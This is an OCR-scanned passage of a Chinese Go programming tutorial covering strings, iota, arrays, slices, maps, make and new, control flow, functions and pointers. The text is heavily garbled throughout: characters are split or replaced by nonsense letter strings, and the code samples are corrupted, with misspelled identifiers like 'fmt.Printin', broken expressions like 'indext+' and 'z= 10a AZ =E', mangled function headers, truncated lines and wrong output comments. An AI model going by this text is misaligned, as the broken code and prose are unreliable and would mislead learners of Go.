数 单位 。 下 面 是 一 个 使 用 复数 的 例子 : 


var c complex64 = 5+5i 
//output: (5+51) 
fmt.Printf("Value is: %v", c) 


FRIR 
我 们 在 上 一 节 中 讲 过 ，Go 中 的 字符 串 都 是 采用 UTF-8 字符 集 编码 。 字 符 串 是 用 一 
对 双 引 号 〈 "" ) 或 反 引 号 (© > ) 括 起 来 定义 ， 它 的 类 型 是 string o 
// 示 例 代码 
var frenchHello string // 声明 变量 为 字符 串 的 一 般 方法 
var emptyString string = "" // 声明 了 一 个 字符 串 变 量 ， 初 始 化 为 空 字符 串 
func test() { 
no, yes, maybe := "no", "yes", "maybe" // 简短 声明 ， 同 时 声明 多 个 这 
japaneseHello := "Konichiwa" // 同上 


frenchHello = "Bonjour" // 常规 赋值 





在 Go 中 字符 串 是 不 可 变 的 ， 例 如 下 面 的 代码 编译 时 会 报错 : cannot assign to s[0] 


var s string = "hello" 
s[0] = 'c' 


但 如 果真 的 想 要 修改 怎么 办 呢 ? 下 面 的 代码 可 以 实现 : 


s := "hello" 
c := []byte(s) // 将 字符 串 s 转换 为 []byte 类 型 
c[0] = 'c' 


s2 := string(c) // 再 转换 回 string 类 型 
fmt.Printf("%s\n", s2) 


Go 中 可 以 使 用 + 操作 符 来 连接 两 个 字符 串 : 


s := "hello," 
m := " world" 
a := S+m 


fmt.Printf("%s\n", a) 


修改 字符 串 也 可 写 为 : 


s := "hello" 
s = "c" + s[1:] // 字符 串 虽 不 能 更 改 ， 但 可 进行 切片 操作 
fmt.Printf("%s\n", s) 


如 果 要 声明 一 个 多 行 的 字符 串 怎 么 办 ?可 以 通过 ` 来 声明 : 


m := ‘hello 
world` 


括 起 的 字符 串 为 Raw 字 符 串 ， 即 字符 串 在 代码 中 的 形式 就 是 打印 时 的 形式 ， 
它 没有 字符 转 义 ， 换 行 也 将 原样 输出 。 例 如 本 例 中 会 输出 : 


Go 内 置 有 一 个 error 类 型 ， 专 门 用 来 处 理 错误 信息 ，Go 的 package 里 面 还 专门 
有 一 个 包 errors 来 处 理 错误 : 


err := errors.New("emit macho dwarf: elf header corrupted") 
if err != nil { 

fmt.Print(err) 
} 


Go 数据 底层 的 存储 


下 面 这 张 图 来 源 于 Russ Cox Blog 中 一 篇 介绍 Go 数据 结构 的 文章 ， 大 家 可 以 看 到 这 
些 基础 类 型 底层 都 是 分 配 了 一 块 内 存 ， 然 后 存 侍 了 相应 的 值 。 


图 2.1 Go 数据 格式 的 存储 
一 些 技巧 


分 组 声明 
在 Go 语言 中 ， 同 时 声明 多 个 常量 、 变 量 ， 或 者 导入 多 个 包 时 ， 可 采用 分 组 的 方式 进 
行 声 明 。 
例如 下 面 的 代码 : 
import "fmt" 
import "os" 


const i = 100 
const pi = 3.1415 
const prefix = "Go_" 


var i int 


var pi float32 
var prefix string 


可 以 分 组 写成 如 下 形式 : 


import( 
"Fmt " 
vosu 
) 
const( 
i = 100 
pi = 3.1415 
prefix = "Go_" 
) 
var( 
i int 
pi float32 


prefix string 


iota 枚 举 


Go 里 面 有 一 个 关键 字 iota ， 这 个 关键 字 用 来 声明 enum 的 时 候 采 用 ， 它 默认 开 
始 值 是 0，const 中 每 增加 一 行 加 1 : 


const( 
x= iota // x == 0 
y = iota // y = 1 
z= 10a AZ =E 


w // 常量 声明 省 略 值 时 ， 黑 认 和 之 前 一 个 值 的 字面 相同 。 这 里 隐 式 地 说 w = iota 
) 


const v = iota // 每 遇 到 一 个 const 关 键 字 ，iota 就 会 重 置 ， 此 时 v == 0 
const ( 


e, f, g = iota, iota, iota //e=0,f=0,g=0 iota 在 同一 行 值 相同 
) 


const ( 
a = iota a=0 
b = WRU 
c = iota //c=2 
d,e,f = iota, iota, iota //d=3,e=3, f=3 
g //g=4 





除非 被 显 式 设置 为 其 它 值 或 iota ， 每 个 const 分 组 的 第 一 个 常量 被 默认 设 
置 为 它 的 0 值 ， 第 二 及 后 续 的 常量 被 默认 设置 为 它 前 面 那 个 常量 的 值 ， 如 果 前 
面 那个 常量 的 值 是 iota ， 则 它 也 被 设置 为 iota 。 


Go 程序 设计 的 一 些 规则 
Go 之 所 以 会 那么 简洁 ， 是 因为 它 有 一 些 默认 的 行为 : 
。 大 写字 母 开头 的 变量 是 可 导出 的 ， 也 就 是 其 它 包 可 以 读 取 的 ， 是 公用 变量 ; 小 
写字 母 开关 的 就 是 不 可 导出 的 ， 是 私有 变量 。 
。 大 写字 母 开 头 的 函数 也 是 一 样 ， 相 当 于 class 中 的 带 public 关键 词 的 公有 
WA; 小 写字 母 开 头 的 就 是 有 private KHANNA, 


array, slice, map 


array 


array 就 是 数组 ， 它 的 定义 方式 如 下 : 


var arr [n]type 


在 [n]type 中 ， n 表示 数组 的 长 度 ， type 表示 存储 元 素 的 类 型 。 对 数组 的 操 
作 和 其 它 语言 类 似 ， 都 是 通过 [] 来 进行 读 取 或 赋值 : 


var arr [10]int // 声明 了 一 个 Int 类 型 的 数组 


arr[0] = 42 // 数组 下 标 是 从 0 开始 的 
arr[1] = 13 // 赋值 操作 


fmt.Printf("The first element is %d\n", arr[0]) // 获取 数据 ， 返 回 42 
fmt .Printf("The last element is %d\n", arr[9]) /返回 未 赋值 的 最 后 一 个 了 


4] — R 








由 于 长 度 也 是 数组 类 型 的 一 部 分 ， 因 此 [3]int 与 [4]int 是 不 同 的 类 型 ， 数 组 
也 就 不 能 改变 长 度 。 数 组 之 间 的 赋值 是 值 的 赋值 ， 即 当 把 一 个 数组 作为 参数 传 和 信函 
数 的 时 候 ， 传 入 的 其 实 是 该 数组 的 副本 ， 而 不 是 它 的 指针 。 如 果 要 使 用 指针 ， 那 么 
就 需要 用 到 后 面 介绍 的 slice 类 型 了 。 


数组 可 以 使 用 另 一 种 := 来 声明 


a := [3]int{1, 2, 3} // 声明 了 一 个 长 度 为 3 的 jnt 数 组 
b := [10]int{1, 2, 3} // 声明 了 一 个 长 度 为 10 的 ijnt 数 组 ， 其 中 前 三 个 元 素 初始 化 


c := [...]int{4, 5, 6} // 可 以 省 略 长 度 而 采用 `.. ,的 方式 ，Go 会 自动 根据 元 素 
OO 


也 许 你 会 说 ， 我 想 数 组 里 面 的 值 还 是 数组 ， 能 实现 吗 ? 当然 咯 ，Go 支 持 褒 套 数组 ， 
即 多 维 数组 。 比 如 下 面 的 代码 就 声明 了 一 个 二 维 数组 : 





// 声明 了 一 个 二 维 数组 ， 该 数组 以 两 个 数组 作为 元 素 ， 其 中 每 个 数组 中 又 有 4 个 int 类 型 凡 
doubleArray := [2][4]Jint{[4]int{1, 2, 3, 4}, [4]int{5, 6, 7, 8}} 


// 上 面 的 声明 可 以 简化 ， 直 接 忽 略 内 部 的 类 型 
easyArray := [2][4]int{{1, 2, 3, 4}, {5, 6, 7, 8}} 


a 
数组 的 分 配 如 下 所 示 : 





图 2.2 多 维 数组 的 映射 关系 


slice 


在 很 多 应 用 场景 中 ， 数 组 并 不 能 满足 我 们 的 需求 。 在 初始 定义 数组 时 ， 我 们 并 不 知 
道 需要 多 大 的 数组 ， 因 此 我 们 就 需要 “动态 数组 "。 在 Go 里 面 这 种 数据 结构 
叫 slice 


slice 并 不 是 真正 意义 上 的 动态 数组 ， 而 是 一 个 引用 类 型 。 slice 总 是 指向 一 
个 底层 array, slice 的 声明 也 可 以 像 array 一 样 ， 只 是 不 需要 长 度 。 


// 和 声明 array 一 样 ， 只 是 少 了 长 度 
var fslice [|]int 


接 下 来 我 们 可 以 声明 一 个 slice ， 并 初始 化 数据 ， 如 下 所 示 : 
slice := []byte {'a', 'b', 'c', 'd'} 


slice 可 以 从 一 个 数组 或 一 个 已 经 存在 的 slice 中 再 次 声明 。 slice 通 
过 array[i:j] 来 获取 ， 其 中 i 是 数组 的 开始 位 置 ， j 是 结束 位 置 ， 但 不 包 
& array[j] ， 它 的 长 度 是 j-i 。 


// 声明 一 个 含有 10 个 元 素 元 素 类 型 为 Dyte 的 数组 

Varmar =O) Dyte t sats bc Oi en 
// 声明 两 个 含有 byte 的 slice 

var a, b []byte 


// a 指 向 数组 的 第 3 个 元 素 开 始 ， 并 到 第 五 个 元 素 结束 ， 
a = ar[2:5] 
// 现 在 a 含有 的 元 素 : ar[2]、ar[3] 和 ar[4] 


// b 是 数组 ar 的 另 一 个 slice 
b = ar[3:5] 
// b 的 元 素 是 : ar[3] Mar [4] 


-| ëO 


注意 Slice 和 数组 在 声明 时 的 区 别 : 声明 数组 时 ， 方 括号 内 容 明 了 数组 的 长 
度 或 使 用 ... 自动 计算 长 度 ， 而 声明 slice 时 ， 方 括号 内 没有 任何 字符 。 


它们 的 数据 结构 如 下 所 示 





图 2.3 slice 和 array 的 对 应 关系 图 
slice 有 一 些 简便 的 操作 


e slice 的 默认 开始 位 置 是 0， ar[:n] 等 价 于 ar[o:n] 

e slice 的 第 二 个 序列 默认 是 数组 的 长 度 ， ar[n:] 等 价 于 ar[n:len(ar)] 

e 如 果 从 一 个 数组 里 面 直 接 获 取 slice ， 可 以 这 样 ar[:] ， 因 为 默认 第 一 个 
序列 是 0， 第 二 个 是 数组 的 长 度 ， 即 等 价 于 ar[0:len(ar)] 


下 面 这 个 例子 展示 了 更 多 关于 slice 的 操作 : 


// 声明 一 个 数组 

Var agiay = ol yte ao bn 
// 声明 两 个 slice 

var aSlice, bSlice []byte 


// 演示 一 些 简便 操作 


aSlice = array[:3] // 等 价 于 aSlice 


array[0:3] aSlLice 包 含 元 素 : a,b,c 


aSlice = array[5:] // 等 价 于 aSlice = array[5:10] aSlice 包 合 元 素 : f,g, 
aSlice = array[:] // 等 价 于 aSlice = array[0:10] 这 样 aSLice 包 含 了 全 部 昌 


// 从 slice 中 获取 slice 
aSlice = array[3:7] // aSlice 包 含 元 素 : d,e,f,g, len=4, cap=7 


bSlice = aSlice[1:3] // bSlice @MaSlice[1], aSlice[2] 也 就 是 含有 : e 
bSlice = aSlice[:3] // bSlice 包含 aSlice[0], aSlice[1], aSlice[2] 
bSlice = aSlice[0:5] // 对 slice 的 slice 可 以 在 cap 范 围 内 扩展 ， 此 时 bSlice 包 
bSlice = aSlice[:]  // bSlice 包 含 所 有 aSlice 的 元 素 : d,e,f,g 


SS a a 





slice 是 引用 类 型 ， 所 以 当 引 用 改变 其 中 元 素 的 值 时 ， 其 它 的 所 有 引用 都 会 改变 
该 值 ， 例 如 上 面 的 aSlice 和 bSlice ， 如 果 修 改 了 aSlice PERAJA, Jp 
4, bSlice 相对 应 的 值 也 会 改变 。 


从 概念 上 面 来 说 slice 像 一 个 结构 体 ， 这 个 结构 体 包含 了 三 个 元 素 : 


一 个 指针 ， 指 向 数组 中 slice 指定 的 开始 位 置 
xE, B slice KE 
RAKE, hte slice 开始 位 置 到 数组 的 最 后 位 置 的 长 度 


Array_a : 
Slice_a: 


[10]byte{'a', oleae, ea Afo Hae serr A a Eou mii I 
Array_a[2:5] 


B| EE) 





上 面 代码 的 真正 存储 结构 如 下 图 所 示 


图 2.4 slice 对 应 数组 的 信息 


对 于 slice 有 几 个 有 用 的 内 置 本 数 : 
度 


len 获取 slice 的 长 

cap 获取 slice 的 最 大 容量 

append 向 slice 里 面 追加 一 个 或 者 多 个 元 素 ， 然 后 返回 一 个 和 slice 一 
样 类 型 的 slice 

copy KŻ copy 从 源 slice 的 src 中 复制 元 素 到 目标 dst ， 并 且 返 回 
复制 的 元 素 的 个 数 


注 : append 函数 会 改变 slice 所 引用 的 数组 的 内 容 ， 从 而 影响 到 引用 同一 数组 
的 其 它 slice. 但 当 slice 中 没有 剩余 空间 ( 即 (cap-len) == o ) 时 ， 此 时 
将 动态 分 配 新 的 数组 空间 。 返 回 的 slice 数组 指针 将 指向 这 个 空间 ， 而 原 数 组 的 
内 容 将 保持 不 变 ; 其 它 引 用 此 数组 的 slice 则 不 受 影响 。 


从 Go1.2 开 始 slice 支 持 了 三 个 参数 的 slice， 之 前 我 们 一 直 采 用 这 种 方式 在 slice 或 者 
array 基 础 上 来 获取 一 个 slice 


var array [10]int 
slice := array[2:4] 


这 个 例子 里 面 slice 的 容量 是 8， 新 版 本 里 面 可 以 指定 这 个 容量 


slice = array[2:4:7] 


上 面 这 个 的 容量 就 是 7-2 ， 即 5。 这 样 这 个 产生 的 新 的 slice 就 没 办 法 访问 最 后 的 三 
个 元 素 。 


如 果 slice 是 这 样 的 形式 array[:i:j] ， 即 第 一 个 参数 为 空 ， 默 认 值 就 是 0。 


map 
map 也 就 是 Python 中 字典 的 概念 ， 它 的 格式 为 map[keyType]valueType 


我 们 看 下 面 的 代码 ， map 的 读 取 和 设置 也 类 似 slice 一 样 ， 通 过 key 来 操作 ， 
只 是 slice 的 index 只 能 是 ` int ”类 型 ， 而 map 多 了 很 多 类 型 ， 可 以 
是 int ， 可 以 是 string 及 所 有 完全 定义 了 == != 操作 的 类 型 。 


// 声明 一 个 key 是 字符 串 ， 值 为 Int 的 字典 , 这 种 方式 的 声明 需要 在 使 用 之 前 使 用 make 初 妇 
var numbers map[string]int 

// 另 一 种 map 的 声明 方式 

numbers := make(map[string]int) 

numbers["one"] = 1 // 赋 值 

numbers["ten"] = 10 // 赋 值 

numbers["three"] = 3 


fmt.Println(" 第 三 个 数字 是 : ", numbers["three"]) // 读 取 数据 
// 打印 出 来 如 :第 三 个 数字 是 : 3 





这 个 map 就 像 我 们 平常 看 到 的 表格 一 样 ， 左 边 列 是 key ， 右 边 列 是 值 
使 用 map 过 程 中 需要 注意 的 几 点 : 


e map 是 无 序 的 ， 每 次 打印 出 来 的 map 都 会 不 一 样 ， 它 不 能 通过 index # 
取 ， 而 必须 通过 key 获取 


map 的 长 度 是 不 固定 的 ， 也 就 是 和 slice 一 样 ， 也 是 一 种 引用 类 型 

e AGA len 函数 同样 适用 于 map, WE] map 拥有 的 key 的 数量 

e map 的 值 可 以 很 方便 的 修改 ， 通 过 numbers["one"]=11 可 以 很 容易 的 把 key 
为 one 的 字典 值 改 为 11 

e map 和 其 他 基本 型 别 不 同 ， 它 不 是 thread-safe， 在 多 个 go-routine 存 取 时 ， 必 

须 使 用 mutex lock 机 制 


map 的 初始 化 可 以 通过 key:val 的 方式 初始 化 值 ， 同 时 map 内 置 有 判断 是 否 存 
在 key 的 方式 


通过 delete 删除 map 的 元 素 : 


// 初始 化 一 个 字典 
rating := map[string]float32{"C":5, "Go":4.5, "Python":4.5, "C++":!: 
// map 有 两 个 返回 值 ， 第 二 个 返回 值 ， 如 果 不 存 在 key， 那 么 ok 为 false， 如 果 存 在 ok 为 
csharpRating, ok := rating["C#"] 
if ok { 

fmt.Printin("C# is in the map and its rating is ", csharpRatin‘ 
} else { 

fmt.Println("We have no rating associated with C# in the map") 
} 


delete(rating, "C") // 删除 key 为 C 的 元 素 
.了 = ae 





上 面 说 过 了 ， map 也 是 一 种 引用 类 型 ， 如 果 两 个 map 同时 指向 一 个 底层 ， 那 么 一 
个 改变 ， 另 一 个 也 相应 的 改变 : 


m := make(map[string]string) 
m["Hello"] = "Bonjour" 
mi := m 


m1["Hello"] = "Salut" // 现在 m["hello"] 的 值 已 经 是 Salut 了 


make、new 操 作 


make 用 于 内 建 类 型 ( map., slice 和 channel ) 的 内 存 分 配 。 new 用 于 各 
种 类 型 的 内 存 分 配 。 


AEKA new 本 质 上 说 跟 其 它 语言 中 的 同名 函数 功能 一 样 : new(T) DAT Sa 
填充 的 T 类 型 的 内 存 空 间 ， 并 且 返 回 其 地 址 ， 即 一 个 *T 类 型 的 值 。 用 Go 的 术语 
说 ， 它 返回 了 一 个 指针 ， 指 向 新 分 配 的 类 型 T 的 需 值 。 有 一 点 非常 重要 : 


new 返回 指针 。 


AKZ make(T, args) 与 new(T) 有 着 不 同 的 功能 ，make 只 能 创 
建 slice 、 map 和 channel ， 并 且 返 回 一 个 有 初始 值 ( 非 需 ) 的 T 类 型 ， 而 不 
是 *T 。 本 质 来 讲 ， 导 致 这 三 个 类 型 有 所 不 同 的 原因 是 指向 数据 结构 的 引用 在 使 用 


前 必须 被 初始 化 。 例 如 ， 一 个 slice ， 是 一 个 包含 指向 数据 (内 部 array ) 的 
指针 、 长 度 和 容量 的 三 项 描述 符 ; 在 这 些 项 目 被 初始 化 之 前 ， slice 为 nil. 
对 于 slice 、 map 和 channel 来 说 ， make 初始 化 了 内 部 的 数据 结构 ， 填 充 适 
当 的 值 。 


make 返回 初始 化 后 的 ( 非 需 ) 值 。 
下 面 这 个 图 详细 的 解释 了 new 和 make 之 间 的 区 别 。 


图 2.5 make 和 new 对 应 底层 的 内 存 分 配 


5 {A 


关于 “ 需 值 "所 指 并 非 是 空 值 ， 而 是 一 种 “变量 未 填充 前 "的 默认 值 ， 通 常 为 0。 此 处 
罗列 部 分 类 型 BY “AS fa” 


int 0 

int8 0 

int32 0 

int64 0 

uint 0x0 

rune 0 //rune 的 实际 类 型 是 int32 


byte 0x0 // byte 的 实际 类 型 是 uint8 
float32 0 //KE% 4 byte 

float64 0 //KE% 8 byte 

bool false 


string "" 
links 
e 目录 
e 上 一 章 : 你 好 ,Go 
e 下 一 节 : JEA EJA 


2.3 FEF EEX 


这 小 节 我 们 要 介绍 Go 里 面 的 流程 控制 以 及 函数 操作 。 


流程 控制 


流程 控制 在 编程 语言 中 是 最 伟大 的 发 明了 ， 因 为 有 了 它 ， 你 可 以 通过 很 简单 的 流程 
描述 来 表达 很 复杂 的 逻辑 。Go 中 流程 控制 分 三 大 类 : 条 件 判断 ， 循 环 控制 和 无 条 件 
跳 转 。 


if 


if 也 许 是 各 种 编程 语言 中 最 常见 的 了 ， 它 的 语法 概括 起 来 就 是 :如 果 满 足 条 件 就 
做 某 事 ， 否 则 做 另 一 件 事 。 


Go 里 面 if 条 件 判断 语句 中 不 需要 括号 ， 如 下 代码 所 示 


if x > 10 { 

fmt.Println("x is greater than 10") 
} else { 

fmt.Printin("x is less than 10") 


Go 的 if 还 有 一 个 强大 的 地 方 就 是 条 件 判 断 语 句 里 面 允 许 声明 一 个 变量 ， 这 个 变 
量 的 作用 域 只 能 在 该 条 件 逻 辑 块 内 ， 其 他 地 方 就 不 起 作用 了 ， 如 下 所 示 


// 计算 获取 值 X, 然后 根据 x 返回 的 大 小 ， 判 断 是 否 大 于 10。 
if x := computedValue(); x > 10 { 
fmt.Printin("x is greater than 10") 
} else { 
fmt.Printin("x is less than 10") 
} 


// 这 个 地 方 如 果 这 样 调用 就 编译 出 错 了 ， 因 为 x 是 条 件 里 面 的 变量 
fmt.Printin(x) 


多 个 条 件 的 时 候 如 下 所 示 : 


if integer == 3 { 
fmt.Printin("The integer is equal to 3") 
} else if integer < 3 { 
fmt.Printin("The integer is less than 3") 
} else { 
fmt.Printin("The integer is greater than 3") 
} 


goto 





a goto j44 请 明智 地 使 用 它 。 用 goto whet tI MAES ABAAN EY 
。 例 如 假设 这 样 一 个 循环 : 


func wa { 


i 

Here: yee 个 词 ， 以 冒号 结束 作为 标签 
printin(i) 
j++ 


goto Here  ”// 跳 转 到 Here 去 


标签 名 是 大 小 写 敏感 的 。 


for 


Go 里 面 最 强大 的 一 个 控制 逻辑 就 是 for ， 它 即 可 以 用 来 循环 读 取 数据 ， 又 可 以 当 
VF while 来 控制 逻辑 ， 还 能 迭代 操作 。 它 的 语法 如 下 : 


for expressioni; expression2; expression3 { 
Le aren 
} 


expression1 、 expression2 和 expression3 都 是 表达 式 ， 其 

中 expression1 和 expression3 是 变量 声明 或 者 函数 调用 返回 值 之 类 
的 ， expression2 是 用 来 条 件 判 断 ， expressionl 在 循环 开始 之 前 调 
FA, expression3 在 每 轮 循环 结束 之 时 调用 。 


一 个 例子 比 上 面 讲 那 么 多 更 有 用 ， 那 么 我 们 看 看 下 面 的 例子 吧 : 


package main 
import "fmt" 


func main(){ 
sum := 0; 
for index:=0; index < 10 ; indext+ { 
sum += index 
} 


fmt.Printin("sum is equal to ", sum) 


} 
// 输出 :sum is equal to 45 


有 些 时 候 需 要 进行 多 个 赋值 操作 ， 由 于 Go 里 面 没 有 ， 操 作 符 ， 那 么 可 以 使 用 平行 
赋值 i, j = i+1, j-1 


有 些 时候 如 果 我 们 忽略 expression1 和 expression3 


sum := 1 

for ; sum < 1000; { 
sum += sum 

} 


其 中 ， 也 可 以 省 略 ， 那 么 就 变 成 如 下 的 代码 了 ， 是 不 是 似 售 相 识 ? 对 ， 这 就 
是 while 的 功能 。 


sum := 1 

for sum < 1000 { 
sum += sum 

} 


在 循环 里 面 有 两 个 关键 操作 break 和 continue , break 操作 是 跳出 当前 循 
环 ， continue 是 跳 过 本 次 循环 。 当 旋 套 过 深 的 时 候 ， break 可 以 配合 标签 使 
用 ， 即 跳 转 至 标签 所 指定 的 位 置 ， 详 细 参 考 如 下 例子 : 


for index := 10; index>0; index-- { 
if index == 5{ 
break // continue 
fmt .Printiln( index) 


} 
// break 打 印 出 来 0、9、8、7、6 
// continuef]FIW310, 9. 8. 7. 6 4.3, 2.14 


break 和 continue 还 可 以 跟着 标号 ， 用 来 跳 到 多 重 循环 中 的 外 层 循 环 


for 配合 range 可 以 用 于 读 取 slice 和 map 的 数据 : 


for k,v:=range map { 
fmt.Printin("map's key:",k) 
fmt.Printin("map's val:",v) 


由 于 Go 支持 “多 值 返回 ”, 而 对 于 “声明 而 未 被 调用 ”的 变量 , 编译 器 会 报错 , 在 这 种 情 
况 下 , 可 以 使 用 _ 来 丢弃 不 需要 的 返回 值 例如 


for _, v := range map{ 
fmt.Printin("map's val:", v) 
} 
switch 


有 些 时候 你 需要 写 很 多 的 if-else 来 实现 一 些 逻 辑 处 理 ， 这 个 时 候 代 码 看 上 去 就 
很 天 很 元 长 ， 而 且 也 不 易于 以 后 的 维护 ， 这 个 时 候 switch 就 能 很 好 的 解决 这 个 问 
题 。 它 的 语法 如 下 


switch sExpr { 
case expri: 

some instructions 
case expr2: 

some other instructions 
case expr3: 

some other instructions 
default: 

other code 
} 


sExpr 和 expri, expr2 、 expr3 的 类 型 必须 一 致 。Go 的 switch 非常 灵 
活 ， 表 达 式 不 必 是 常量 或 整数 ， 执 行 的 过 程 从 上 至 下 ， 直 到 找到 匹配 项 ; 而 如 
果 switch 没有 表达 式 ， 它 会 匹配 true 。 


i := 10 
switch i { 
case 1: 
fmt.Printin("i is equal to 1") 
case 2, 3, 4: 
fmt.Println("i is equal to 2, 3 or 4") 
case 10: 
fmt.Println("i is equal to 10") 
default: 
fmt.Printin("All I know is that i is an integer") 


} 


在 第 5 行 中 ， 我 们 把 很 多 值 聚合 在 了 一 个 case BH, AN, GoHM switch 默认 
相当 于 每 个 case 最 后 带 有 break ， 匹 配 成 功 后 不 会 自动 向 下 执行 其 他 case， 而 
是 跳出 整个 switch , 但 是 可 以 使 用 fallthrough 强制 执行 后 面 的 case 代 码 。 


integer := 6 

Switch integer { 

case 4: 
fmt.Printin("The integer was <= 4") 
fallthrough 

case 5: 
fmt.Printin("The integer was <= 5") 
fallthrough 

case 6: 
fmt.Printin("The integer was <= 6") 
fallthrough 

case 7: 
fmt.Printin("The integer was <= 7") 
fallthrough 

case 8: 
fmt.Printin("The integer was <= 8") 
fallthrough 

default: 
fmt.Printin("default case") 


} 


上 面 的 程序 将 输出 


The integer was <= 6 
The integer was <= 7 
The integer was <= 8 
default case 


JŽ 


\7 
/ 


EKI 


aj 


KHA ECOPARK dt, BAF fun 来 声明 ， 它 的 格式 如 下 : 


func funcName(input1 type1, input2 type2) (output1 type1，output2 1 
// 这 里 是 处 理 逻 辑 代 三 
// 返 回 多 个 值 
return value1, value2 


} 








上 面 的 代码 我 们 看 出 


关键 字 func 用 来 声明 一 个 函数 funcName 

画 数 可 以 有 一 个 或 者 多 个 参数 ， 每 个 参数 后 面 带 有 类 型 ， 通 过 ， 分 陋 
函数 可 以 返回 多 个 值 

上 面 返回 值 声明 了 两 个 变量 output1 和 output2 ， 如 果 你 不 想 声 明 也 可 
以 ， 直 接 束 两 个 类 型 

° 2 返回 值 且 不 声明 返回 值 变 量 ， 那 么 你 可 以 省 略 包括 返回 值 的 括 


。 如 果 没 有 返回 值 ， 那 么 就 直 接 省 略 最 后 的 返回 信息 
e MRA 返回 值 ， 那么 必须 在 函数 的 外 层 添加 return 语 名 


下 面 我 们 来 看 一 个 实际 应 用 函数 的 例子 〈 用 来 计算 Max 值 ) 


package main 
import "fmt" 


返回 a、b 中 最 大 值 . 
fie max(a, b int) int { 
ifa>bt 
return a 
} 
return b 
} 
func main() { 
X= 
Y= 
ZS 
max_xy := max(x, y) // 调 用 函数 max(x，y) 
max_xz := max(x, z) // 调 用 函数 max(x，z) 


fmt.Printf("max(%d, %d) 
fmt.Printf("max(%d, %d) 
fmt.Printf("max(%d, %d) 


%d\n", X, y, max_xy) 
%d\n", X, Zz, max_xz) 
%d\n", y, z, max(y,z)) // 也 可 在 这 直接 i 


N 


N 











上 面 这 个 里 面 我 们 可 以 看 到 max 加 ” 数 有 两 个 参数 ， 它 们 的 类 型 都 是 int ， 那 么 第 
一 个 变量 的 类 型 可 以 省 略 (Bl a,b int, 而 非 a int, b int)， 默 认为 离 它 最 近 的 类 型 ， 同 
理 多 于 2 个 同类 型 的 变量 或 者 返回 值 。 同 时 我 们 注意 到 它 的 返回 值 就 是 一 个 类 型 ， 

这 个 就 是 省 略 写法 。 


MAEA 
Go 语言 比 C 更 先进 的 特性 ， 其 中 一 点 就 是 画 数 能 够 返回 多 个 值 。 
我 们 直接 上 代码 看 例子 


package main 
import "fmt" 


// 返 回 A+B 和 A*B 
func SumAndProduct(A, B int) (int, int) { 
return A+B, A*B 


xPLUSy, XTIMESy := SumAndProduct(x, y) 


fmt .Printf("%d + %d = %d\n", x, y, XxPLUSy) 
fmt .Printf("%d * %d = %d\n", x, y, XxTIMESy) 


上 面 的 例子 我 们 可 以 看 到 直接 返回 了 两 个 参数 ， 当 然 我 们 也 可 以 命名 返回 参数 的 变 
量 ， 这 个 例子 里 面 只 是 用 了 两 个 类 型 ， 我 们 也 可 以 改 成 如 下 这 样 的 定义 ， 然 后 返回 
的 时 候 不 用 带 上 变量 名 ， 因 为 直接 在 函数 里 面 初始 化 了 。 但 如 果 你 的 函数 是 导出 的 
( 首 字 母 大写 )， 官 方 建议 : 最 好 命名 返回 值 ， 因 为 不 命名 返回 值 ， 虽 然 使 得 代码 更 
加 简洁 了 ， 但 是 会 造成 生成 的 文档 可 读 性 差 。 


func SumAndProduct(A, B int) (add int, Multiplied int) { 
add = A+B 
Multiplied = A*B 
return 


RS 


GoRMRVGETS, HRVRSNNRSASTEMSHSAN, ASMBHRM, BF 
in Se ESL KR AIRS FS : 


func myfunc(arg ...int) {} 


arg ...int 告诉 Go 这 个 函数 接受 不 定数 量 的 参数 。 注 意 ， 这 些 参数 的 类 型 全 部 
是 int 。 在 函数 体 中 ， 变 量 arg 是 一 个 int 的 slice 


for n := range arg { 
Fmt. Printf("And the number is: %d\n", n) 


} 


传 值 与 传 指 针 


当 我 们 传 一 个 参数 值 到 被 调用 画 数 里 面 时 ， 实 际 上 是 传 了 这 个 值 的 一 份 copy， 当 在 
被 调用 函数 中 修改 参数 值 的 时 候 ， 调 用 函数 中 相应 实 参 不 会 发 生 任何 变化 ， 因 为 数 
值 变化 只 作用 在 copy 上 。 


为 了 验证 我 们 上 面 的 说 法 ， 我 们 来 看 一 个 例子 


package main 
import "fmt" 


// 简 单 的 一 个 图 数 ， 实 现 了 参数 +1 的 操作 
func addi(a int) int { 
a = a+1 // 我 们 改变 了 a 的 值 
return a // 返 回 一 个 新 值 


} 
func main() { 
X 1= 3 
fmt.Println("x = ", x) // 应 该 输出 "x = 3" 
x1 := add1(x) // 调 用 add1(x) 
fmt .Printin("x+1 = ", x1) // 应 该 输出 "x+1 = 4" 
fmt ,Println("x = ", x) // 应 该 输出 "x = 3" 
} 


看 到 了 吗 ? 虽然 我 们 调用 了 addi KA, FA addi 中 执行 a = ati 操作 ， 但 
是 上 面 例子 中 x 变量 的 值 没 有 发 生变 化 


理由 很 简单 : 因为 当 我 们 调用 addı 的 时 候 ， addi 接收 的 参数 其 实 是 x 的 
copy, MTE x AX, 


那 你 也 许 会 问 了 ， 如 果真 的 需要 传 这 个 x 本 身 , 该 怎么 办 呢 ? 


这 就 幸 扯 到 了 所 谓 的 指针 。 我 们 知道 ， 变 量 在 内 存 中 是 存放 于 一 定 地 址 上 的 ， 修 改 
变量 实际 是 修改 变量 地 址 处 的 内 存 。 只 有 addi BAAS x 变量 所 在 的 地 址 ， 才 
能 修改 x 变量 的 值 。 所 以 我 们 需要 将 x 所 在 地 址 ex 传 入 函数 ， 并 将 罚 数 的 参数 
的 类 型 由 int 改 为 *int ， 即 改 为 指针 类 型 ， 才 能 在 函数 中 修改 x 变量 的 值 。 
此 时 参数 仍然 是 按 copy 传 递 的 ， 只 是 copy 的 是 一 个 指针 。 请 看 下 面 的 例子 


package main 
import "fmt" 


// 简 单 的 一 个 图 数 ， 实 现 了 参数 +1 的 操作 
func et *int) int { // 请 注意 ， 
*a = *ati // 修改 了 a 的 值 

return *a // 返回 新 值 


func main() { 
X := 3 


fmt.Println("x = ", x) // 应 该 输出 "x = 3" 
x1 := add1(&x) // 调用 add1(&x) 传 x 的 地 址 


fmt.Println("x+1 = ", x1) // 应 该 输出 "Xx+1 = 4" 
fmt.Println("x = ", x) // 应 该 输出 "x = 4" 


这 样 ， 我 们 就 达到 了 修改 x 的 目的 。 那 么 到 底 传 指针 有 什么 好 处 呢 ? 


。 传 指针 使 得 多 个 函数 能 操作 同一 个 对 象 。 

o 传 指针 比较 轻 量 级 (8bytes), 只 是 传 内 存 地 址 ， 我 们 可 以 用 指针 传递 体积 大 的 结 
构 体 。 如 果 用 参数 值 传 递 的 话 , 在 每 次 copy 上 面 就 会 花费 相对 较 多 的 系统 开销 
